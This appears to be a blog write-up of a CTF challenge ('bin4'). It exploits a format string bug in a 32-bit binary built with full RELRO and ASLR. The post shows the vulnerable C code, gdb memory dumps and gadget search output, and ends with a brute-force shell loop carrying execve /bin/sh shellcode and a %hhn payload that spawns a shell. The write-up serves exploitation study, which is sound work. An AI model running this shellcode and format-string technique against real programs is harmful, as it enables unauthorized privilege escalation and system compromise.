After reading repnzscasb's Bin4 write-up. I have to say to myself "why I missed overwriting the pointer to function?". Here is my solution (not a smart method to solve this challenge).
The challenge code is same as bin3 but bin4 is compiled with full RELRO. Also the ASLR is enabled. Here is a short C code.
int s(char *op, char *lhs, char *rhs){ static int(*opfunc)(int, int); int(*matfunc[4])(int, int) = {&add, &sub, &mul, &divi}; char opmsg[512]; op++; //... snprintf(opmsg, sizeof(opmsg), op); printf("%s\n", opmsg); fflush(0); return opfunc(atoi(lhs), atoi(rhs)); } int main(int argc, char **argv){ if(argc < 4){ u(); } printf("Result: %d\n", s(argv[2], argv[1], argv[3])); exit(EXIT_SUCCESS); }
Assume we see only format string bug (do not see opfunc, a pointer to function :P). My idea is using saved ebp in s() stack frame, that points to saved ebp in main() stack frame, with format string bug to modify 1 byte of saved ebp in main() stack frame to the address of saved eip in s() stack frame. Confused??? Look below.
(gdb) b *0x0804867e # break at call snprintf Breakpoint 1 at 0x804867e (gdb) r 1 -%144\$hhn 2 Starting program: /home/worawit/csaw/bin4 1 -%144\$hhn 2 Operation: Breakpoint 1, 0x0804867e in s () (gdb) x/12x $ebp 0xbffff648: 0xbffff668 0x08048721 0xbffff868 0xbffff866 0xbffff658: 0xbffff872 0x0029bff4 0x08048750 0x00000000 0xbffff668: 0xbffff6e8 0x00155e37 0x00000004 0xbffff714 (gdb) ni 0x08048683 in s () (gdb) x/12x $ebp 0xbffff648: 0xbffff668 0x08048721 0xbffff868 0xbffff866 0xbffff658: 0xbffff872 0x0029bff4 0x08048750 0x00000000 0xbffff668: 0xbffff600 0x00155e37 0x00000004 0xbffff714
Note:
- 0xbffff648 is address of saved ebp in s() stack frame
- 0xbffff64c is address of saved eip in s() stack frame
- 0xbffff668 is address of saved in main() stack frame
From gdb, we can see the saved ebp value in main() stack frame is changed. If we change it to address of saved eip in s() stack frame, 0xbffff64c. We can use it for format string bug to change the saved eip in s() stack frame. That's the idea.
This method does not work all the time because stack address is random. But the chance is not low. Only 4 bits are random. The last 4 bits are always the same because of stack alignment in main() function.
080486e5 <main>: 80486e5: 55 push %ebp 80486e6: 89 e5 mov %esp,%ebp 80486e8: 83 e4 f0 and $0xfffffff0,%esp
Because argv[1] is passed to s() function as 2nd argument , we just need to modified the saved eip to the pop/ret address. Find it near 0x08048721, so we have to modified only 1 byte.
worawit@nattyvm:~/csaw$ objdump -d ./bin4 | grep '^ 80487' | grep -B 1 ret 8048743: 5d pop %ebp 8048744: c3 ret -- 80487a8: 5d pop %ebp 80487a9: c3 ret 80487aa: 8b 1c 24 mov (%esp),%ebx 80487ad: c3 ret -- 80487d8: 5d pop %ebp 80487d9: c3 ret -- 80487f6: c9 leave 80487f7: c3 ret
I pick address 0x080487a8. The restriction of this method is "$" modifier must not be used in first "%n"
. Else the printf() function will not use modified value. Here is the exploit. Shell will pop out in a second.worawit@nattyvm:~/csaw$ while [ 1 ]; do ./bin4 `perl -e 'print "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'` -`perl -e 'print "%8x"x142,"%220x%hhn","%8x"x6,"%44x%hhn"'` 10; done ... $
No comments:
Post a Comment